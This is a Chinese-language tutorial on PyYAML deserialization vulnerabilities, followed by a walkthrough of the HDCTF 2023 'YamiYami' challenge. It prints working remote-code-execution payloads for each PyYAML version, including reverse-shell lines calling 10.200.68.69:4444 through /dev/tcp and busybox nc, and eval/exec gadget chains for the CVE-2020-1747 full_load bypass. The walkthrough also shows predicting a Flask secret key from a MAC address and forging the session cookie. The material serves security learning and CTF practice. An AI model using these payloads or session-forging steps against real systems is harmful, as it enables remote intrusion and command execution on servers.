一.Pyaml反序列化攻击
0x01: yaml的基本语法结构
介绍:
YAML 全称 YAML Ain’t Markup Language(一种递归缩写),是一种人类可读的数据序列化格式。
YAML 常用于配置文件、数据交换以及各种需要以结构化方式存储数据的场景。
YAML 的语法和其他高级语言类似,可以简单表达清单、散列表、标量等数据形态。
它使用空白符号缩进和大量依赖外观的特色,特别适合用来表达或编辑数据结构、各种配置文件、倾印调试内容、文件大纲。
YAML 的配置文件后缀为 .yml,如:1.yml
以下是 YAML 最核心的语法规则,需要牢记:
- 大小写敏感
- 使用缩进表示层级关系
- 缩进不允许使用 Tab,只允许空格
- 缩进的空格数不重要,只要相同层级的元素左对齐即可
- # 表示注释
- :号后面要加空格
1 2 3 4 5 6 7
| Person: name: anna age: 15 Person2: name: Peter age: 16 ……………………
|
2.文档分隔符
在yaml中使用—作为文档之间的分割符,标记着一篇文档的结束,另一篇文档的开始
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| Person: name: anna age: 15 Person2: name: Peter age: 16 --- Person3: name: X3r age: 21 Person4: name: X1d age: 17
|
3.基本数据类型
映射(Mapping / 字典)
键值对的集合,是yaml中最常见的数据类型
1 2 3 4
| name : Zhangsan sex : man hobbie : Computer ....
|
也可以按下面两种防方式写
嵌套映射:
1 2 3 4 5
| person: name: 张三 address: city: 北京 zipcode: "100000"
|
形成层级关系
流式映射写法
1
| key: {child-key: value, child-key2: value2}
|
2.列表的写法
1 2 3 4 5
| - Al1ex - 0 - Tester - sex - woman
|
结果为:
1
| ['Al1ex', 0, 'Tester', 'sex', 'woman']
|
这里只对YAML做个简单的介绍
0x02: Pyaml的简单使用
Pyaml提供对Yaml文档进行序列化和反序列化操作,即Python和Yaml数据的互相转换:
1 2 3 4 5 6 7 8 9 10 11
| import yaml
data = ''' - Al1ex - 0 - Tester - sex - woman '''
print(yaml.load(data, Loader=yaml.SafeLoader))
|
输出:
1 2 3
| (py313) PS E:\Microsoft VS Code> & f:\venv\py313\Scripts\python.exe c:/Users/alast/Downloads/22.py ['Al1ex', 0, 'Tester', 'sex', 'woman'] (py313) PS E:\Microsoft VS Code>
|
嵌套格式:
1 2 3 4 5 6 7 8 9 10 11
| import yaml
data = ''' person: name: 张三 address: city: 北京 zipcode: "100000" '''
print(yaml.load(data, Loader=yaml.SafeLoader))
|
输出:
1 2 3
| (py313) PS E:\Microsoft VS Code> & f:\venv\py313\Scripts\python.exe c:/Users/alast/Downloads/22.py {'person': {'name': '张三', 'address': {'city': '北京', 'zipcode': '100000'}}} (py313) PS E:\Microsoft VS Code>
|
yaml.dump:
将python对象转换成yaml文档:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import yaml class MyClass: def __init__(self, attribute1, attribute2): self.attribute1 = attribute1 self.attribute2 = attribute2 def __repr__(self): return f"MyClass(attribute1={self.attribute1}, attribute2={self.attribute2})" obj = MyClass('value1', 'value2')
yaml_str = yaml.dump(obj) print(yaml_str)
|
1
| !!python/object:__main__.MyClass {attribute1: value1, attribute2: value2}
|
将对象转换为Yaml文档
0x03:Pyaml 反序列化漏洞
思考:既然能将yaml格式的数据转换为Python代码,那么我们能不能通过这一点来构造一个特殊yaml文件,来执行服务器的命令,达到RCE呢?当然是可以的,下面我们来分版本讲解每个危险函数:
01:Pyaml库版本< 5.1
- 当版本<5.1时,我们会用到以下函数对yaml数据进行反序列化:
1 2 3 4
| load(data) load(data, Loader=Loader) load_all(data) load_all(data, Loader=Loader)
|
1.load(data) 反序列化文档数据为Python代码:
1 2 3 4 5 6 7 8 9 10 11
| import yaml
data = ''' person: name: 张三 address: city: 北京 zipcode: "100000" '''
print(yaml.load(data))
|
在<5.1时,load_*()默认不需要添加第二个参数指定加载器,默认使用Loader加载器,也就是后面的UnsafeLoader加载器
另外load(data, Loader=Loader) 也可以指定第二个参数,指定加载器:
例如:
1 2 3 4 5 6 7 8 9 10 11
| import yaml
data = ''' person: name: 张三 address: city: 北京 zipcode: "100000" '''
print(yaml.load(data,Loader=yaml.BaseLoader))
|
(BaseLoader 用于基础的加载器,支持基础的yaml)
2.load_all() 前文有提到yaml 支持— 的形式分割文档 而load_all的功能则是反序列化多个文档:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| import yaml
data = ''' person: name: 张三 address: city: 北京 zipcode: "100000" ---
person2: name: 李四 age: 20 '''
print(list(yaml.load_all(data)))
|
输出:
1 2
| PS F:\download\pyyaml_lab> & F:\venv\pyaml42b4\Scripts\python.exe f:/download/pyyaml_lab/blank.py [{'person': {'name': '张三', 'address': {'city': '北京', 'zipcode': '100000'}}}, {'person2': {'name': '李四', 'age': 20}}]
|
load_all(data, Loader=Loader) 则同理
02:!!Python\Object:解释器
!!python/object 标签指示 YAML 解析器应该将对应的 YAML 片段解析为一个 Python 对象:
2.1python/object/apply
python/object/apply 表示在yaml标签中调用一个可调用对象或者构造函数 并将其结果表示为一个对象
1 2 3
| import yaml
yaml.load('!!python/object/apply:os.system [\'calc\']')
|
可以直接通过apply 调用os对象的system方法来构造RCE命令 执行calc弹计算器
利用这点来弹shell:
1 2 3 4 5
| !!python/object/apply:os.system ['sh -i >& /dev/tcp/10.200.68.69/4444 0>&1'] !!python/object/apply:os.system ['sh -i 5<> /dev/tcp/10.200.68.69/4444 0<&5 1>&5 2>&5'] !!python/object/apply:os.system ['busybox nc 10.200.68.69 4444 -e sh'] ....
|
2.2:!!python\name
返回对象本身,在payload中只引用不调用
1 2 3 4
| import yaml
print(yaml.load('!!python/name:eval'))
|
返回类型 :
1 2
| PS F:\download\pyyaml_lab> & F:\venv\pyaml42b4\Scripts\python.exe f:/download/pyyaml_lab/blank.py <built-in function eval>
|
1 2 3
| import yaml
print(yaml.load('!!python/name:exec'))
|
exec 同样返回 <built-in function exec>
!!python/name:math.pi
引用math模块的pi常量,在yaml反序列化中,用于进行引用指定模块或者方法
另外,文件中存在某个自定义函数,也可以通过该标签进行调用:
a.py:
1 2
| def a(): print('你好世界!')
|
1 2 3 4
| import yaml
print(yaml.load('!!python/name:a.a'))
|
返回:
1 2
| PS F:\download\pyyaml_lab> & F:\venv\pyaml42b4\Scripts\python.exe f:/download/pyyaml_lab/blank.py <function a at 0x00000271589FB3A0>
|
2.3 !!python/object/new
允许直接创建新的 Python 对象,通过yaml模板来创建新的对象:
语法如下
1 2 3 4 5 6 7 8
| !!python/object/new:<class> args: - arg1 - arg2 state: attribute1: value1 attribute2: value2
|
- class 表示要new的类名
- arg1,arg2表示传递给new 类名的参数
- state 则表示设置属性
例子:
简写:
1 2 3 4 5
| !!python/object/new:os.system ["calc"] !!python/object/new:subprocess.check_output [["ls","-ail"]]
|
复杂利用:
1 2 3 4 5 6
| !!python/object/new:str state: !!python/tuple - 'print(getattr(open("flag\x2etxt"), "read")())' - !!python/object/new:Warning state: update: !!python/name:exec
|
等价:
1
| exec('print(getattr(open("flag.txt"), "read")())')
|
因为将warning类替换为exec 所以达到了命令执行的效果
变种:
1 2 3 4 5 6 7
| !!python/object/new:type args: - exp - !!python/tuple [] - {"extend": !!python/name:exec } listitems: | 'python code'
|
创建一个动态类,类的名字为exp ,再创建一个tuple 基类(type.new 检查第 2 个参数必须是 tuple) ,最后将extend指向exec
执行 listitems中的代码
补充:CVE-2020-1747
版本:5.1 5.2
针对于full_load的攻击:
FullLoader 把 python/* 标签全放开了,只靠”不自动 import + 目标必须是类”两道弱限制;因为 object/new 允许对任意类做 __new__,而 map/tuple 这类类配合 !!python/name:eval 就能执行代码
payload:
1 2 3 4
| !!python/object/new:tuple - !!python/object/new:map - !!python/name:eval - ["__import__('os').system('calc')"]
|
一旦迭代tuple,就会触发map,从而导致eval执行 calc
tuple(map(eval(“payload”)))
题目:[HDCTF 2023]YamiYami
打开页面
有三个链接
- read somethings
- 上传文件
- 显示当前的位置
1.尝试包含文件:
1
| http://node4.anna.nssctf.cn:27935/read?url=file:///etc/passwd
|
发现能成功
尝试查看/pwd看看当前位置
1
| http://node4.anna.nssctf.cn:27935/pwd
|
返回:
查看/upload路由:
YamiYami 猜测可能是上传yaml文件,但是我们先不测试
都有文件包含 第一件事肯定是查看源码或者flag:
直接读取/flag发现对关键字有过滤,下面查看
1
| http://node4.anna.nssctf.cn:27935/read?url=file:////proc/self/environ
|
看看脚本的名字:
因此猜测脚本位置是/app/app.py 尝试读取:
1
| re.findall('app.*', url, re.IGNORECASE)
|
也被过滤了:
但是:urllib.request.urlopen 可以直接接受urlencode的路径, 但是读本地文件时最前面的 / 要保留, 不能编码为 %2F
提交上去后服务器会进行一次解码,所以对于这点我们对该路径进行二次编码得到:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84
| import os import re, random, uuid from flask import * from werkzeug.utils import * import yaml from urllib.request import urlopen app = Flask(__name__) random.seed(uuid.getnode()) app.config['SECRET_KEY'] = str(random.random()*233) app.debug = False BLACK_LIST=["yaml","YAML","YML","yml","yamiyami"] app.config['UPLOAD_FOLDER']="/app/uploads"
@app.route('/') def index(): session['passport'] = 'YamiYami' return ''' Welcome to HDCTF2023 <a href="/read?url=https://baidu.com">Read somethings</a> <br> Here is the challenge <a href="/upload">Upload file</a> <br> Enjoy it <a href="/pwd">pwd</a> ''' @app.route('/pwd') def pwd(): return str(pwdpath) @app.route('/read') def read(): try: url = request.args.get('url') m = re.findall('app.*', url, re.IGNORECASE) n = re.findall('flag', url, re.IGNORECASE) if m: return "re.findall('app.*', url, re.IGNORECASE)" if n: return "re.findall('flag', url, re.IGNORECASE)" res = urlopen(url) return res.read() except Exception as ex: print(str(ex)) return 'no response'
def allowed_file(filename): for blackstr in BLACK_LIST: if blackstr in filename: return False return True @app.route('/upload', methods=['GET', 'POST']) def upload_file(): if request.method == 'POST': if 'file' not in request.files: flash('No file part') return redirect(request.url) file = request.files['file'] if file.filename == '': return "Empty file" if file and allowed_file(file.filename): filename = secure_filename(file.filename) if not os.path.exists('./uploads/'): os.makedirs('./uploads/') file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename)) return "upload successfully!" return render_template("index.html") @app.route('/boogipop') def load(): if session.get("passport")=="Welcome To HDCTF2023": LoadedFile=request.args.get("file") if not os.path.exists(LoadedFile): return "file not exists" with open(LoadedFile) as f: yaml.full_load(f) f.close() return "van you see" else: return "No Auth bro" if __name__=='__main__': pwdpath = os.popen("pwd").read() app.run( debug=False, host="0.0.0.0" ) print(app.config['SECRET_KEY'])
|
接下来就是喜闻乐见的代码审计环节
审计路由/upload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| def upload_file(): if request.method == 'POST': if 'file' not in request.files: flash('No file part') return redirect(request.url) file = request.files['file'] if file.filename == '': return "Empty file" if file and allowed_file(file.filename): filename = secure_filename(file.filename) if not os.path.exists('./uploads/'): os.makedirs('./uploads/') file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename)) return "upload successfully!" return render_template("index.html")
|
不允许上传黑名单后缀的文件,也用secure_filename 函数过滤路文件名径穿越漏洞
隐藏路由:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| @app.route('/boogipop') def load(): if session.get("passport")=="Welcome To HDCTF2023": LoadedFile=request.args.get("file") if not os.path.exists(LoadedFile): return "file not exists" with open(LoadedFile) as f: yaml.full_load(f) f.close() return "van you see" else: return "No Auth bro" if __name__=='__main__': pwdpath = os.popen("pwd").read() app.run( debug=False, host="0.0.0.0" ) print(app.config['SECRET_KEY'])
|
自定义了一个Load函数 首先要获取passport 的值 并修改成Welcome To HDCTF2023 才能调用file参数,并判断包含的文件是否存在,文件存在则使用yaml.full_load() 来对yaml文件进行反序列化操作 漏洞点在于可控的file被yaml,full_load反序列化
但是要想进入路由,我们就要先拿到flask的secret_key :
查看session相关代码 :
1 2
| random.seed(uuid.getnode()) app.config['SECRET_KEY'] = str(random.random()*233)
|
种子是uuid.getnode 看似安全,但是我们知道了mac地址就有办法推算出来:
直接包含文件:
1
| http://node4.anna.nssctf.cn:27935/read?url=file:///sys/class/net/eth0/address
|
返回:
算出种子:
1 2 3 4 5 6 7
| mac = input('input your mac: ') mac_int = int(mac.replace(':', ''), 16)
import random random.seed(mac_int) secret = str(random.random() * 233) print(secret)
|
SECRET_KEY:199.20129326574246
flask伪造:
1 2 3 4
| ╭─ /home/kali/Desktop took 9s with root@kali at 05:32:20 ─╮ ╰─❯ flask-unsign -s -S 199.20129326574246 --no-literal-eval -c "{'passport':'Welcome To HDCTF2023'}" ─╯ eyJwYXNzcG9ydCI6IldlbGNvbWUgVG8gSERDVEYyMDIzIn0.aquzyA.yRoYqrpwPQjrAVAh20bdWi-EoKQ
|
这样就可以访问/boogipop路由了:
在此之前我们先通过上传页面上传一份恶意的yaml文档,后缀采用.txt即可,yaml.full_load只对yaml 内容进行解析
1 2 3 4
| !!python/object/new:tuple - !!python/object/new:map - !!python/name:eval - ["__import__('os').system('ls -la / > /tmp/o1 2>&1')"]
|
上传这个模板查看 / 的文件
上传成功,接着带上伪造的token去访问/boogipop路由包含上传的.txt文件 触发yaml.full_load
触发成功,返回van you see
接下来通过/read的文件包含包含 /tmp/o1
cat /flag.sh
返回:NSSCTF{124b28b0-f947-4def-b534-b3b32f3aa156}
03:Pyaml库版本>=6.0
易受攻击的只有yaml.unsafe_load 和 yaml.load(input, Loader=yaml.UnsafeLoader)
payload没有变化
参考